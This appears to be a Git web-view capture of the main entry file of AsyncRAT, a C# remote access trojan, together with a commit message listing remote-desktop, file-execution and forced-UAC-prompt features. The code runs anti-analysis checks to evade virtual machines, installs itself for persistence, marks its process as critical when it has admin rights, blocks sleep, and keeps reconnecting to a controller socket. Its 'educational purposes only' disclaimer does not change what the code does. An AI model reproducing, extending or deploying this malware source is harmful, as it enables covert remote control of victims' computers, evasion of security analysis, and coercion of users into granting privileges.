added - remote dekstop move movements added - remote desktop showing cursor movements added - showing active window when client connected immediately updated - send file to disk will show if the file ran successfully or not fixed - send file to disk fixed when executing .ps1 file updated - UAC popup now will run until the user press accept
62 lines
1.7 KiB
C#
62 lines
1.7 KiB
C#
using System.Threading;
|
|
using Client.Connection;
|
|
using Client.Install;
|
|
using System;
|
|
using Client.Helper;
|
|
|
|
/*
|
|
│ Author : NYAN CAT
|
|
│ Name : AsyncRAT Simple RAT
|
|
│ Contact Me : https:github.com/NYAN-x-CAT
|
|
|
|
This program is distributed for educational purposes only.
|
|
*/
|
|
|
|
namespace Client
|
|
{
|
|
public class Program
|
|
{
|
|
public static void Main()
|
|
{
|
|
for (int i = 0; i < Convert.ToInt32(Settings.Delay); i++)
|
|
{
|
|
Thread.Sleep(1000);
|
|
}
|
|
|
|
if (!Settings.InitializeSettings()) Environment.Exit(0);
|
|
|
|
try
|
|
{
|
|
if (!MutexControl.CreateMutex()) //if current payload is a duplicate
|
|
Environment.Exit(0);
|
|
|
|
if (Convert.ToBoolean(Settings.Anti)) //run anti-virtual environment
|
|
Anti_Analysis.RunAntiAnalysis();
|
|
|
|
if (Convert.ToBoolean(Settings.Install)) //drop payload [persistence]
|
|
NormalStartup.Install();
|
|
|
|
if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin()) //active critical process
|
|
ProcessCritical.Set();
|
|
|
|
Methods.PreventSleep(); //prevent pc to idle\sleep
|
|
|
|
}
|
|
catch { }
|
|
|
|
while (true) // ~ loop to check socket status
|
|
{
|
|
try
|
|
{
|
|
if (!ClientSocket.IsConnected)
|
|
{
|
|
ClientSocket.Reconnect();
|
|
ClientSocket.InitializeClient();
|
|
}
|
|
}
|
|
catch { }
|
|
Thread.Sleep(5000);
|
|
}
|
|
}
|
|
}
|
|
} |